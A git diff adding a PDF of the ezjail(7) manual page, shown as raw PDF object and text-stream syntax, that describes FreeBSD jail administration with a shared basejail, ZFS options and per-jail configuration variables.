3983<<
3984/Nums [0 49 0 R ]
3985>>
3986endobj
398713 0 obj
3988<<
3989/Type /Pages
3990/Kids [1 0 R 14 0 R 17 0 R 20 0 R 23 0 R 26 0 R 30 0 R]
3991/Count 7
3992/MediaBox [0 0 612 792]
3993>>
3994endobj
399551 0 obj
3996<<
3997/CreationDate (D:20130420011601+02'00')
3998/ModDate (D:20130420011601+02'00')
3999/Producer (Apple pstopdf)
4000>>
4001endobj
400252 0 obj
4003<<
4004/Type /Catalog
4005/Pages 13 0 R
4006/PageLabels 50 0 R
4007>>
4008endobj
4009xref
40100 53
40110000000000 65535 f
40120000129296 00000 n
40130000000016 00000 n
40140000010592 00000 n
40150000125233 00000 n
40160000125556 00000 n
40170000125914 00000 n
40180000126353 00000 n
40190000126921 00000 n
40200000127332 00000 n
40210000127779 00000 n
40220000127954 00000 n
40230000049959 00000 n
40240000129949 00000 n
40250000129377 00000 n
40260000010770 00000 n
40270000018083 00000 n
40280000129461 00000 n
40290000018238 00000 n
40300000027281 00000 n
40310000129545 00000 n
40320000027436 00000 n
40330000033915 00000 n
40340000129629 00000 n
40350000034081 00000 n
40360000041097 00000 n
40370000129713 00000 n
40380000041252 00000 n
40390000048687 00000 n
40400000128337 00000 n
40410000129797 00000 n
40420000048866 00000 n
40430000049838 00000 n
40440000050100 00000 n
40450000050327 00000 n
40460000074472 00000 n
40470000074674 00000 n
40480000074901 00000 n
40490000105819 00000 n
40500000106016 00000 n
40510000106217 00000 n
40520000106408 00000 n
40530000106605 00000 n
40540000106805 00000 n
40550000106995 00000 n
40560000125704 00000 n
40570000128699 00000 n
40580000128480 00000 n
40590000128988 00000 n
40600000129881 00000 n
40610000129909 00000 n
40620000130073 00000 n
40630000130196 00000 n
4064trailer
4065<<
4066/Size 53
4067/Root 52 0 R
4068/Info 51 0 R
4069/ID [<edac7404cc05f97fccbf2b06bfdc8133><edac7404cc05f97fccbf2b06bfdc8133>]
4070>>
4071startxref
4072130266
4073%%EOF
diff --git a/files/arts/software/ezjail/ezjail.7.pdf b/files/arts/software/ezjail/ezjail.7.pdf
new file mode 100644
index 0000000..7132957
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail.7.pdf
@@ -0,0 +1,4038 @@
1%PDF-1.3
2%
32 0 obj
4<<
5/Length 7230
6>>
7stream
8BT
9/TT2 1 Tf
1010 0 0 10 72 756 Tm
110 g
12/GS1 gs
130 Tc
140 Tw
15[(N)20(AME)]TJ
16/TT4 1 Tf
173 -1.2 TD
18(ezjail)Tj
19/TT6 1 Tf
203.8506 0 TD
21[()-250(Jail administration frame)25(w)10(ork.)]TJ
22/TT2 1 Tf
23-6.8506 -2.4 TD
24(SYNOPSIS)Tj
25/TT4 1 Tf
263 -1.2 TD
27(ezjail-admin)Tj
28/TT8 1 Tf
297.8012 0 TD
30(command arguments...)Tj
31/TT2 1 Tf
32-10.8012 -2.4 TD
33[(O)50(VER)55(VIEW)]TJ
34/TT6 1 Tf
353 -1.2 TD
360.0256 Tw
37[(The ezjail commands pro)15(vide a simple w)10(ay to create multiple jails using FreeBSD)55(s)-275.6(jail system. It simpli)]TJ
38/TT9 1 Tf
3942.4046 0 TD
400 Tw
41()Tj
42/TT6 1 Tf
430.5562 0 TD
44(es)Tj
45-42.9608 -1.2 TD
46[(jail administration ef)25(fort and minimizes jail system resource usage.)]TJ
470 -1.8 TD
480.0663 Tw
49[(If you are not f)10(amiliar with the FreeBSD jail concept, please refer to)]TJ
50/TT11 1 Tf
5128.4531 0 TD
520 Tw
53(jail)Tj
54/TT6 1 Tf
552.4004 0 TD
560.0664 Tw
57[(\(8\) before continuing. F)15(or addi-)]TJ
58-30.8535 -1.2 TD
590 Tw
60(tional design information, see the ezjail site at)Tj
61/TT11 1 Tf
6218.6333 0 TD
63(http://erdgeist.org/arts/software/ezjail)Tj
64/TT6 1 Tf
6524.0039 0 TD
66(.)Tj
67/TT2 1 Tf
68-45.6372 -2.4 TD
69(DESCRIPTION)Tj
70/TT6 1 Tf
713 -1.2 TD
720.2093 Tw
73[(The ezjail system enables the system administrator to create multiple OS-le)25(v)15(e)0(l)-459.3(virtualization containers)]TJ
74T*
750.0228 Tw
76[(called jails. Services lik)10(e)-272.8(web serv)15(ers, mail serv)15(ers, FTP serv)15(ers, are typically under frequent attack from the)]TJ
77T*
780.0564 Tw
79[(public Internet and are e)15(xposed to possible compromise. The typical usage of jails is to run a single service)]TJ
80T*
810.0732 Tw
82(in each jail and if that service becomes compromised the rest of the jails and the host system are protected)Tj
83T*
840 Tw
85(from also being compromised.)Tj
860 -1.8 TD
870.0633 Tw
88[(The major shortcoming of jails is that each jail has its o)25(wn cop)10(y)-313.3(o)0(f)-313.3(the w)10(orld. This eats disk space, inodes,)]TJ
890 -1.2 TD
900.1444 Tw
91[(and more importantly)65(,)-394.4(pre)25(v)15(ents the sharing of binaries images between jails, thus increasing the memory)]TJ
92T*
930.0065 Tw
94(pressure on the host system. In addition, this causes a major administration headache when comes the time to)Tj
95T*
960 Tw
97[(update the host system, as each jail needs to be updated independently)65(.)]TJ
980 -1.8 TD
990.1293 Tw
100(Ezjail addresses these problems by creating a single basejail \(a read-only)Tj
101/TT11 1 Tf
10230.8281 0 TD
1030 Tw
104(nullfs)Tj
105/TT6 1 Tf
1063.6006 0 TD
1070.1293 Tw
108(\(4\) mounted directory\))Tj
109-34.4286 -1.2 TD
1100.0059 Tw
111(populated with the same binaries as the host system which is then shared across all the other service jails cre-)Tj
112T*
1130 Tw
114(ated by ezjail. Is is possible to update the base jail \(and thus all the jails\) in a single ezjail command.)Tj
1150 -1.8 TD
1160.1181 Tw
117[(T)80(ypical usage of jails include separation of services, creating test en)40(vironments, consolidation of dif)25(ferent)]TJ
1180 -1.2 TD
119-0.0001 Tc
1200.0001 Tw
121(services on a single physical host, and more.)Tj
122/TT2 1 Tf
123-3 -2.4 TD
1240 Tc
1250.1666 Tw
126[(EZJ)30(AIL SYSTEM)]TJ
127/TT6 1 Tf
1283 -1.2 TD
1290.0079 Tw
130[(The administrati)25(v)15(e)15( )-15(interf)10(ace to the ezjail system is the)]TJ
131/TT11 1 Tf
13221.8746 0 TD
1330 Tw
134(ezjail-admin)Tj
135/TT6 1 Tf
1367.2012 0 TD
1370.0078 Tw
138(\(8\) command. It is used to install the)Tj
139-29.0758 -1.2 TD
1400.0455 Tw
141[(ezjail en)40(vironment, create ne)25(w)-295.6(jails, archi)25(v)15(e)0(,)-295.6(restore, delete and update jails, open a jail console, and list the)]TJ
142T*
1430 Tw
144[(status of all the jails. See belo)25(w)-250(for e)15(xample usage, and refer to its man page for complete usage details.)]TJ
1450 -1.8 TD
1460.0387 Tw
147(Ezjail reads its con)Tj
148/TT9 1 Tf
1497.6967 0 TD
1500 Tw
151()Tj
152/TT6 1 Tf
1530.5562 0 TD
1540.0387 Tw
155(guration from its)Tj
156/TT11 1 Tf
1577.0873 0 TD
1580 Tw
159(ezjail.conf)Tj
160/TT6 1 Tf
1616.6011 0 TD
1620.0387 Tw
163[(\(5\). )-250(Normally)-288.7(it will not be necessary to edit this )]TJ
164/TT9 1 Tf
16520.3274 0 TD
1660 Tw
167()Tj
168/TT6 1 Tf
1690.5562 0 TD
170(le,)Tj
171-42.8248 -1.2 TD
1721.3077 Tw
173[(as some sane def)10(aults are pro)15(vided. A sample con)]TJ
174/TT9 1 Tf
17530.3468 0 TD
1760 Tw
177()Tj
178/TT6 1 Tf
1790.5562 0 TD
1801.3077 Tw
181(guration is installed as)Tj
182/TT11 1 Tf
183-30.9029 -1.2 TD
1840 Tw
185(EZJAIL_PREFIX/etc/ezjail.conf.sample)Tj
186/TT6 1 Tf
18721.6035 0 TD
188(.)Tj
189-21.6035 -1.8 TD
1900.0003 Tw
191[(A)-250.3(script is also installed as)]TJ
192/TT11 1 Tf
19310.9447 0 TD
1940 Tw
195(ezjail)Tj
196/TT6 1 Tf
1973.8509 0 TD
1980.0003 Tw
199[(in the rc.d system to allo)25(w)-250.3(jails under ezjails control to be started at boot)]TJ
200-14.7956 -1.2 TD
2010 Tw
202[(time, gi)25(v)15(e)0(n)-250(ezjail is enabled by setting the)]TJ
203/TT11 1 Tf
20417.0386 0 TD
205(rc.conf)Tj
206/TT6 1 Tf
2074.2007 0 TD
208[(\(5\) v)25(ariable )]TJ
209/TT11 1 Tf
2105.3051 0 TD
211($ezjail_enable)Tj
212/TT6 1 Tf
2138.4014 0 TD
2140.25 Tc
215[(t)250(o)]TJ
216/TT11 1 Tf
2172.1655 0 TD
2180 Tc
219(YES)Tj
220/TT6 1 Tf
2211.8003 0 TD
222(.)Tj
223/TT2 1 Tf
224-41.9116 -2.4 TD
2250.1666 Tw
226[(WHA)95(TS IN A J)30(AIL)]TJ
2271.2 -1.2 TD
2280.0625 Tw
229(The life of an ezjail installation)Tj
230/TT6 1 Tf
2311.8 -1.2 TD
2320.04 Tw
233(The base jail is )Tj
234/TT9 1 Tf
2356.4359 0 TD
2360 Tw
237()Tj
238/TT6 1 Tf
2390.5562 0 TD
2400.04 Tw
241(rst created by running)Tj
242/TT4 1 Tf
2439.1571 0 TD
2440 Tw
245(ezjail-admin )Tj
2467.4913 0 TD
247(update)Tj
248/TT6 1 Tf
2493.8906 0 TD
250(or)Tj
251/TT4 1 Tf
2521.123 0 TD
253(ezjail-admin )Tj
2547.4913 0 TD
255(install)Tj
256/TT6 1 Tf
2574.2007 0 TD
258[(.)-540(Exam-)]TJ
259-40.3459 -1.2 TD
2600.037 Tw
261(ple usage of this command is section)Tj
262/TT2 1 Tf
26315.2282 0 TD
2640 Tw
265(EXAMPLES)Tj
266/TT6 1 Tf
2675.5562 0 TD
2680.0369 Tw
269[(.)-537(This will create the base jail, setup a template jail used)]TJ
270-20.7844 -1.2 TD
2710 Tw
272[(to setting up ne)25(w)-250(jails, install an e)15(xample )]TJ
273/TT9 1 Tf
27416.7622 0 TD
275()Tj
276/TT6 1 Tf
2770.5562 0 TD
278[(a)20(v)20(our \(see belo)25(w\) and con)]TJ
279/TT9 1 Tf
28010.4863 0 TD
281()Tj
282/TT6 1 Tf
2830.5562 0 TD
284(gure miscellaneous things.)Tj
285-28.3608 -1.8 TD
2860.0385 Tw
287[(This step is necessary before using the ezjail system. In particular)40(,)-288.5(i)0(t)-288.5(i)0(s)-288.5(not possible to create ne)25(w)-288.6(jails with-)]TJ
2880 -1.2 TD
2890 Tw
290[(out initializing the base jail in adv)25(ance.)]TJ
2910 -1.8 TD
2920.0171 Tw
293[(Once the base jail has been created, ne)25(w)-267.1(jails may be created with)]TJ
294/TT4 1 Tf
29526.8521 0 TD
2960 Tw
297(ezjail-admin )Tj
2987.4684 0 TD
299(create)Tj
300/TT6 1 Tf
3013.6006 0 TD
3020.0171 Tw
303[(.)-517.1(A)-267.1(ne)25(w)-267.1(jail is)]TJ
304-37.921 -1.2 TD
3050 Tw
306(de)Tj
307/TT9 1 Tf
3080.9438 0 TD
309()Tj
310/TT6 1 Tf
3110.5562 0 TD
3120.0179 Tw
313[(ned by its name and can ha)20(v)15(e)15( )-15(one or multiple IP addresses. Creating a ne)25(w)-267.9(jail in)40(v)20(olv)15(es cop)10(ying the tem-)]TJ
314-1.5 -1.2 TD
3150.1211 Tw
316[(plate jail to the ne)25(w)-371.1(location, con)]TJ
317/TT9 1 Tf
31814.0033 0 TD
3190 Tw
320()Tj
321/TT6 1 Tf
3220.5562 0 TD
323(guring)Tj
324/TT11 1 Tf
3252.9819 0 TD
326(nullfs)Tj
327/TT6 1 Tf
3283.6006 0 TD
3290.1211 Tw
330[(\(4\) mounts for gi)25(ving access to the base jail, and little)]TJ
331-21.1419 -1.2 TD
3320 Tw
333(more. A jail that has just be created occupies about 2MB of disk space ; when running, only a handful of dae-)Tj
334T*
335[(mons \(cron, syslog, sendmail mainly\) use memory)65(.)]TJ
3360 -1.8 TD
337[(After their creation, jails may be archi)25(v)15(e)0(d)-250(t)0(o)-250(a)]TJ
338/TT11 1 Tf
33918.6187 0 TD
340(pax)Tj
341/TT6 1 Tf
3421.8003 0 TD
343[(\(1\) archi)25(v)15(e)0(,)-250(restored, and e)25(v)15(entually deleted.)]TJ
344-23.419 -6 TD
34517.775 Tw
346[(BSD January)-250(15, )17775(2011)-19470(1)]TJ
347ET
348endstream
349endobj
3503 0 obj
351<<
352/ProcSet [/PDF /Text ]
353/Font <<
354/TT2 4 0 R
355/TT4 5 0 R
356/TT6 6 0 R
357/TT8 7 0 R
358/TT9 8 0 R
359/TT11 9 0 R
360>>
361/ExtGState <<
362/GS1 10 0 R
363>>
364>>
365endobj
36613 0 obj
367<<
368/Length 8093
369>>
370stream
371BT
372/TT6 1 Tf
37310 0 0 10 72 744 Tm
3740 g
375/GS1 gs
3760 Tc
377-0.0834 Tw
378[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ
3793 -4.8 TD
3800.098 Tw
381[(When a ne)25(w)-348(v)15(ersion of FreeBSD is released, or when an errata is published, only the base jail need to be)]TJ
3820 -1.2 TD
3830.2264 Tw
384(updated. Both source upgrades and binary upgrades \(using)Tj
385/TT11 1 Tf
38625.4998 0 TD
3870 Tw
388(freebsd-update)Tj
389/TT6 1 Tf
3908.4014 0 TD
3910.2265 Tw
392(\(8\)\) are supported. The)Tj
393/TT11 1 Tf
394-33.9011 -1.2 TD
3950 Tw
396(ports)Tj
397/TT6 1 Tf
3983.0005 0 TD
3990.0251 Tw
400[(\(7\) collection may also be updated by ezjail, b)20(ut indi)25(vidual ports need to be upgraded indi)25(vidually by)]TJ
401-3.0005 -1.2 TD
4020 Tw
403[(the administrator)55(.)]TJ
404/TT2 1 Tf
405-1.8 -2.4 TD
4060.0625 Tw
407[(Anatomy of a J)15(ail)]TJ
408/TT6 1 Tf
4091.8 -1.2 TD
4100.0332 Tw
411(In the ezjail system, a jail is de)Tj
412/TT9 1 Tf
41312.562 0 TD
4140 Tw
415()Tj
416/TT6 1 Tf
4170.5562 0 TD
4180.0332 Tw
419(ned by a root directory and a couple of con)Tj
420/TT9 1 Tf
42117.4868 0 TD
4220 Tw
423()Tj
424/TT6 1 Tf
4250.5562 0 TD
4260.0332 Tw
427[(guration v)25(alues, mainly a name)]TJ
428-31.1611 -1.2 TD
4290.0885 Tw
430(and IP addresses. The root directory of the jail contains only the jail-speci)Tj
431/TT9 1 Tf
43230.581 0 TD
4330 Tw
434()Tj
435/TT6 1 Tf
4360.5562 0 TD
437(c )Tj
438/TT9 1 Tf
4390.7823 0 TD
440()Tj
441/TT6 1 Tf
4420.5562 0 TD
4430.0885 Tw
444(les: con)Tj
445/TT9 1 Tf
4463.171 0 TD
4470 Tw
448()Tj
449/TT6 1 Tf
4500.5562 0 TD
451(guration )Tj
452/TT9 1 Tf
4533.671 0 TD
454()Tj
455/TT6 1 Tf
4560.5562 0 TD
4570.0885 Tw
458(les, data)Tj
459/TT9 1 Tf
460-40.43 -1.2 TD
4610 Tw
462()Tj
463/TT6 1 Tf
4640.5562 0 TD
4650.3122 Tw
466[(les, and ports installed by the administrator)55(.)-562.2(The base system is shared amongst all jails, using a)]TJ
467/TT11 1 Tf
468-0.5562 -1.2 TD
4690 Tw
470(nullfs)Tj
471/TT6 1 Tf
4723.6006 0 TD
4730.0894 Tw
474[(\(4\) mount. This sa)20(v)15(e)0(s)-339.5(space and inodes \(especially when the ports collection in made a)20(v)25(ailable to)]TJ
475-3.6006 -1.2 TD
4760 Tw
477[(the jails\), and also memory)65(,)-250(a)0(s)-250(the k)10(ernel is no)25(w)-250(able to share copies of running programs between the jails.)]TJ
4780 -1.8 TD
4790.0145 Tw
480[(Unless the v)25(ariable )]TJ
481/TT11 1 Tf
4828.3764 0 TD
4830 Tw
484($ezjail_jaildir)Tj
485/TT6 1 Tf
4869.0015 0 TD
4870.0145 Tw
488[()-264.5(has been set by the administrator)40(,)-264.5(the root directory of the jail is)]TJ
489-17.3779 -1.2 TD
4900 Tw
491[(k)10(ept in)]TJ
492/TT11 1 Tf
4932.9895 0 TD
494(/usr/jails)Tj
495/TT6 1 Tf
4966.001 0 TD
497[(,)-250(which therefore needs to reside on a partition big enough.)]TJ
498-8.9905 -1.8 TD
4990.2476 Tw
500(There are also )Tj
501/TT9 1 Tf
5026.6559 0 TD
5030 Tw
504()Tj
505/TT6 1 Tf
5060.5562 0 TD
5070.2476 Tw
508[(le-based jails, in which the storage space for the jail is k)10(ept in a )]TJ
509/TT9 1 Tf
51029.0316 0 TD
5110 Tw
512()Tj
513/TT6 1 Tf
5140.5562 0 TD
5150.2476 Tw
516(le mounted with)Tj
517/TT11 1 Tf
518-36.7998 -1.2 TD
5190 Tw
520(mdconfig)Tj
521/TT6 1 Tf
5224.8008 0 TD
5230.0972 Tw
524[(\(8\). )-250(There)-347.2(are tw)10(o)-347.2(adv)25(antages to image jails. The amount of disk space allocated to the jail is)]TJ
525-4.8008 -1.2 TD
5260.0136 Tw
527[(limited, while normal jails ha)20(v)15(e)15( )-15(no)-263.6(bound on the amount of disk space the)15(y)-263.6(use. On the other hand, the space)]TJ
528T*
5290.079 Tw
530[(dedicated to the jail is no longer a)20(v)25(ailable to the host, e)25(v)15(en)-329(if)-329(the jail doesn)18(t)-329(use all its allocated space. In)]TJ
531T*
5320.0305 Tw
533[(addition, image jails contain a full cop)10(y)-280.5(o)0(f)-280.5(the basejail. This mak)10(es them portable between hosts running the)]TJ
534T*
5350.0338 Tw
536[(same FreeBSD v)15(ersion as the image w)10(as created with.)-533.8(Of course, the jail no)25(w)-283.9(needs to be updated indepen-)]TJ
537T*
5380 Tw
539[(dently from all other jails, and there is no longer an)15(y)-250(sharing of common )]TJ
540/TT9 1 Tf
54129.2833 0 TD
542()Tj
543/TT6 1 Tf
5440.5561 0 TD
545(les between the jails.)Tj
546-29.8395 -1.8 TD
5470.1359 Tw
548(Image jails may also be encrypted using)Tj
549/TT11 1 Tf
55017.2521 0 TD
5510 Tw
552(bde)Tj
553/TT6 1 Tf
5541.8003 0 TD
5550.1359 Tw
556(\(4\) or)Tj
557/TT11 1 Tf
5582.7708 0 TD
5590 Tw
560(geli)Tj
561/TT6 1 Tf
5622.4004 0 TD
5630.1359 Tw
564[(\(8\), depending on the options gi)25(v)15(e)0(n)-385.8(a)0(t)-385.8(creation)]TJ
565-24.2236 -1.2 TD
5660 Tw
567(time.)Tj
568/TT2 1 Tf
569-1.8 -2.4 TD
5700.0625 Tw
571(Using ZFS)Tj
572/TT6 1 Tf
5731.8 -1.2 TD
5740.0383 Tw
575[(T)80(o)80( )-80(gi)25(v)25( )278.3(e)-288.3(more precise control o)15(v)15(e)0(r)-288.3(the resources consumed by a jail, ezjail allo)25(ws putting each jail in its o)25(w)0(n)]TJ
576/TT11 1 Tf
577T*
5780 Tw
579(zfs)Tj
580/TT6 1 Tf
5811.8003 0 TD
582(\(8\) )Tj
583/TT9 1 Tf
5841.416 0 TD
585()Tj
586/TT6 1 Tf
5870.5562 0 TD
588(lesystem. See)Tj
589/TT2 1 Tf
5905.6934 0 TD
591[(J)15(ail Cr)18(eation Examples)]TJ
592/TT6 1 Tf
59310.2165 0 TD
594(for details.)Tj
595-19.6823 -1.8 TD
5960.097 Tw
597(Also, ezjail can be con)Tj
598/TT9 1 Tf
5999.4676 0 TD
6000 Tw
601()Tj
602/TT6 1 Tf
6030.5562 0 TD
6040.097 Tw
605[(gured to install its basejail and the accompaning template for all ne)25(w)-347(jails into its)]TJ
606-10.0237 -1.2 TD
607-0.025 Tc
6080 Tw
609[(ow)-25(n)]TJ
610/TT9 1 Tf
6112.0123 0 TD
6120 Tc
613()Tj
614/TT6 1 Tf
6150.5562 0 TD
6160.0651 Tw
617(lesystem. Set the )Tj
618/TT11 1 Tf
6197.6382 0 TD
6200 Tw
621($ezjail_use_zfs)Tj
622/TT6 1 Tf
6239.0015 0 TD
6240.0652 Tw
625[()-315.2(v)25(ariable in your)]TJ
626/TT11 1 Tf
6277.5107 0 TD
6280 Tw
629(ezjail.conf)Tj
630/TT6 1 Tf
6316.9163 0 TD
6320.0652 Tw
633(to YES before running)Tj
634/TT4 1 Tf
635-33.635 -1.2 TD
6360 Tw
637(ezjail-admin )Tj
6387.4513 0 TD
639(update)Tj
640/TT6 1 Tf
6413.8506 0 TD
642(or)Tj
643/TT4 1 Tf
6441.083 0 TD
645(ezjail-admin )Tj
6467.4513 0 TD
647(install)Tj
648/TT6 1 Tf
6494.2007 0 TD
650(.)Tj
651-24.0368 -1.8 TD
6520.2555 Tw
653[(T)80(o)80( )-80(use an)15(y)-505.5(zfs feature in ezjail, you )]TJ
654/TT9 1 Tf
65516.471 0 TD
6560 Tw
657()Tj
658/TT6 1 Tf
6590.5562 0 TD
6600.2555 Tw
661(rst need to con)Tj
662/TT9 1 Tf
6636.6259 0 TD
6640 Tw
665()Tj
666/TT6 1 Tf
6670.5562 0 TD
6680.2555 Tw
669(gure the destination ZFS )Tj
670/TT9 1 Tf
67111.1319 0 TD
6720 Tw
673()Tj
674/TT6 1 Tf
6750.5562 0 TD
6760.2555 Tw
677(lesystem using the)Tj
678-35.8972 -1.2 TD
6790 Tw
680()Tj
681/TT11 1 Tf
6820.4438 0 TD
683($ezjail_jailzfs)Tj
684/TT6 1 Tf
6859.0015 0 TD
686[()-250(v)25(ariable.)]TJ
687-9.4453 -1.8 TD
6880.0588 Tw
689[(Y)110(o)0(u)-308.8(can use ZFS jails without installing the basejail into its o)25(wn ZFS )]TJ
690/TT9 1 Tf
69128.7116 0 TD
6920 Tw
693()Tj
694/TT6 1 Tf
6950.5562 0 TD
6960.0589 Tw
697[(lesystem and vice v)15(ersa. In order to)]TJ
698-29.2678 -1.2 TD
6990 Tw
700[(create ZFS jails by def)10(ault, set the )]TJ
701/TT11 1 Tf
70214.3186 0 TD
703($ezjail_use_zfs_for_jails)Tj
704/TT6 1 Tf
70515.0024 0 TD
706[()-250(v)25(ariable to YES.)]TJ
707/TT2 1 Tf
708-31.1211 -2.4 TD
7090.0625 Tw
710[(P)20(e)0(r)37(-)0(J)15(ail options)]TJ
711/TT6 1 Tf
7121.8 -1.2 TD
7130.0048 Tw
714[(As we sa)15(w)-254.9(earlier)40(,)-254.9(a)-254.8(jail is described by a )]TJ
715/TT9 1 Tf
71616.7927 0 TD
7170 Tw
718()Tj
719/TT6 1 Tf
7200.5562 0 TD
7210.0048 Tw
722(le in)Tj
723/TT11 1 Tf
7242.0091 0 TD
7250 Tw
726(EZJAIL_PREFIX/etc/ezjail/)Tj
727/TT6 1 Tf
72815.0024 0 TD
729[(.)-504.8(This )]TJ
730/TT9 1 Tf
7312.7874 0 TD
732()Tj
733/TT6 1 Tf
7340.5562 0 TD
7350.0048 Tw
736(le has the same)Tj
737-37.704 -1.2 TD
7380.0039 Tw
739(name as the jail it con)Tj
740/TT9 1 Tf
7418.7666 0 TD
7420 Tw
743()Tj
744/TT6 1 Tf
7450.5562 0 TD
7460.0039 Tw
747[(gures. It is a set of v)25(ariables interpreted by)]TJ
748/TT11 1 Tf
74917.2824 0 TD
7500 Tw
751(sh)Tj
752/TT6 1 Tf
7531.2002 0 TD
7540.004 Tw
755[(\(1\), much lik)10(e)]TJ
756/TT11 1 Tf
7575.8892 0 TD
7580 Tw
759(rc.conf)Tj
760/TT6 1 Tf
7614.2007 0 TD
7620.004 Tw
763(\(5\) is. This )Tj
764/TT9 1 Tf
7654.6228 0 TD
7660 Tw
767()Tj
768/TT6 1 Tf
7690.5562 0 TD
770(le)Tj
771-43.0742 -1.2 TD
772[(is created at the same time as the jail, and usually doesn)18(t)-250(require tweaking from the administrator)55(.)]TJ
7730 -1.8 TD
7740.0229 Tw
775[(In addition to the v)25(ariables described belo)25(w)65(,)65( )-65(an)15(y)15( )-15(v)25(ariable used by the init script)]TJ
776/TT11 1 Tf
77732.1841 0 TD
7780 Tw
779(/etc/rc.d/jail)Tj
780/TT6 1 Tf
7818.6742 0 TD
7820.0228 Tw
783(may be)Tj
784-40.8582 -1.2 TD
7850.0967 Tw
786[(added manually by the administrator)55(.)-346.8(The follo)25(wing v)25(ariables are handled by ezjail, replacing J)60(AILN)35(AME)]TJ
787T*
7880 Tw
789(with the actual name of the jail:)Tj
7900 -1.8 TD
791[(jail_J)60(AILN)35(AME_hostname)]TJ
7924.1 -1.2 TD
7930.0863 Tw
794[(The hostname of the jail. Def)10(aults to the name of the jail, unless special characters needed to be)]TJ
795T*
7960 Tw
797(stripped.)Tj
798-4.1 -1.8 TD
799[(jail_J)60(AILN)35(AME_ip)]TJ
8004.1 -1.2 TD
801[(The IP addresses the jail is allo)25(wed to use.)]TJ
802-7.1 -6 TD
80317.775 Tw
804[(BSD January)-250(15, )17775(2011)-19470(2)]TJ
805ET
806endstream
807endobj
80814 0 obj
809<<
810/ProcSet [/PDF /Text ]
811/Font <<
812/TT2 4 0 R
813/TT4 5 0 R
814/TT6 6 0 R
815/TT9 8 0 R
816/TT11 9 0 R
817>>
818/ExtGState <<
819/GS1 10 0 R
820>>
821>>
822endobj
82316 0 obj
824<<
825/Length 6219
826>>
827stream
828BT
829/TT6 1 Tf
83010 0 0 10 72 744 Tm
8310 g
832/GS1 gs
8330 Tc
834-0.0834 Tw
835[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ
8367.1 -4.8 TD
8370 Tw
838[(Since FreeBSD 7.2, se)25(v)15(eral IP addresses may be gi)25(v)15(en, separated by commas.)]TJ
8390 -1.8 TD
8400.1325 Tw
841(Since FreeBSD 9.0 each IP address can be pre)Tj
842/TT9 1 Tf
84319.582 0 TD
8440 Tw
845()Tj
846/TT6 1 Tf
8470.5562 0 TD
8480.1325 Tw
849[(x)15(ed by an interf)10(ace name follo)25(wed by the pipe)]TJ
850-20.1381 -1.2 TD
8510.1847 Tw
852(symbol. It will then automatically be con)Tj
853/TT9 1 Tf
85417.5213 0 TD
8550 Tw
856()Tj
857/TT6 1 Tf
8580.5562 0 TD
8590.1846 Tw
860[(gured on that interf)10(ace when the jail is started and)]TJ
861-18.0774 -1.2 TD
8620.0071 Tw
863[(remo)15(v)15(e)0(d)-257.1(from the interf)10(ace when the jail stops. \(Y)110(ou will probably ha)20(v)15(e)15( )-15(to)-257.2(escape the pipe symbol,)]TJ
864T*
8650 Tw
866(though.\))Tj
867-4.1 -1.8 TD
868[(jail_J)60(AILN)35(AME_rootdir)]TJ
8694.1 -1.2 TD
8700.2247 Tw
871(The directory holding the jail )Tj
872/TT9 1 Tf
87313.0922 0 TD
8740 Tw
875()Tj
876/TT6 1 Tf
8770.5562 0 TD
8780.2247 Tw
879(les \(the directory used as a mount point for )Tj
880/TT9 1 Tf
88119.4344 0 TD
8820 Tw
883()Tj
884/TT6 1 Tf
8850.5562 0 TD
8860.2247 Tw
887(le-based jails\).)Tj
888-33.639 -1.2 TD
8890 Tw
890[(Def)10(aults to the jail name inside )]TJ
891/TT11 1 Tf
89213.1526 0 TD
893($ezjail_jaildir)Tj
894/TT6 1 Tf
8959.0015 0 TD
896(.)Tj
897-26.2541 -1.8 TD
898[(jail_J)60(AILN)35(AME_e)15(x)15(ec_start)]TJ
8994.1 -1.2 TD
9000.1001 Tw
901[(The command to run inside the jail when starting it. Def)10(aults to )]TJ
902/TT11 1 Tf
90327.2685 0 TD
9040 Tw
905($ezjail_exec_start)Tj
906/TT6 1 Tf
90710.8018 0 TD
9080.3502 Tc
909[(o)350.2(r)]TJ
910-38.0703 -1.2 TD
9110 Tc
912()Tj
913/TT11 1 Tf
9140.4438 0 TD
915(/bin/sh /etc/rc)Tj
916/TT6 1 Tf
9179.0015 0 TD
918(.)Tj
919-13.5453 -1.8 TD
920[(jail_J)60(AILN)35(AME_e)15(x)15(ec_stop)]TJ
9214.1 -1.2 TD
9220.0862 Tw
923[(The command to run inside the jail when stopping it. Def)10(aults to the empty string, which means)]TJ
924T*
9250 Tw
926()Tj
927/TT11 1 Tf
9280.4438 0 TD
929(/bin/sh /etc/rc.shutdown)Tj
930/TT6 1 Tf
93114.4023 0 TD
932(.)Tj
933-18.9462 -1.8 TD
934[(jail_J)60(AILN)35(AME_mount_enable)]TJ
9354.1 -1.2 TD
9360.454 Tw
937[(A)-704(boolean \(YES or NO\), that speci)]TJ
938/TT9 1 Tf
93918.5238 0 TD
9400 Tw
941()Tj
942/TT6 1 Tf
9430.5562 0 TD
9440.454 Tw
945(es whether the )Tj
946/TT9 1 Tf
9477.3874 0 TD
9480 Tw
949()Tj
950/TT6 1 Tf
9510.5562 0 TD
9520.454 Tw
953(lesystems in)Tj
954/TT11 1 Tf
9556.0745 0 TD
9560 Tw
957(/etc/fstab.)Tj
958/TT8 1 Tf
959-33.098 -1.2 TD
960(JAILNAME)Tj
961/TT6 1 Tf
9625.0508 0 TD
963(are carried out. Set by ezjail to )Tj
964/TT11 1 Tf
96512.9385 0 TD
966(YES)Tj
967/TT6 1 Tf
9681.8003 0 TD
969[(, set to at your o)25(wn risk.)]TJ
970-23.8896 -1.8 TD
971[(jail_J)60(AILN)35(AME_de)25(vfs_enable)]TJ
9724.1 -1.2 TD
9730.4343 Tw
974[(A)-684.4(boolean specifying whether to mount a)]TJ
975/TT11 1 Tf
97619.8415 0 TD
9770 Tw
978(/dev)Tj
979/TT9 1 Tf
9803.0847 0 TD
981()Tj
982/TT6 1 Tf
9830.5562 0 TD
9840.4343 Tw
985[(lesystem inside the jail. Def)10(aults to)]TJ
986-23.4823 -1.2 TD
9870 Tw
988()Tj
989/TT11 1 Tf
9900.4438 0 TD
991($ezjail_devfs_enable)Tj
992/TT6 1 Tf
99312.002 0 TD
994(, or )Tj
995/TT11 1 Tf
9962.4707 0 TD
997(YES)Tj
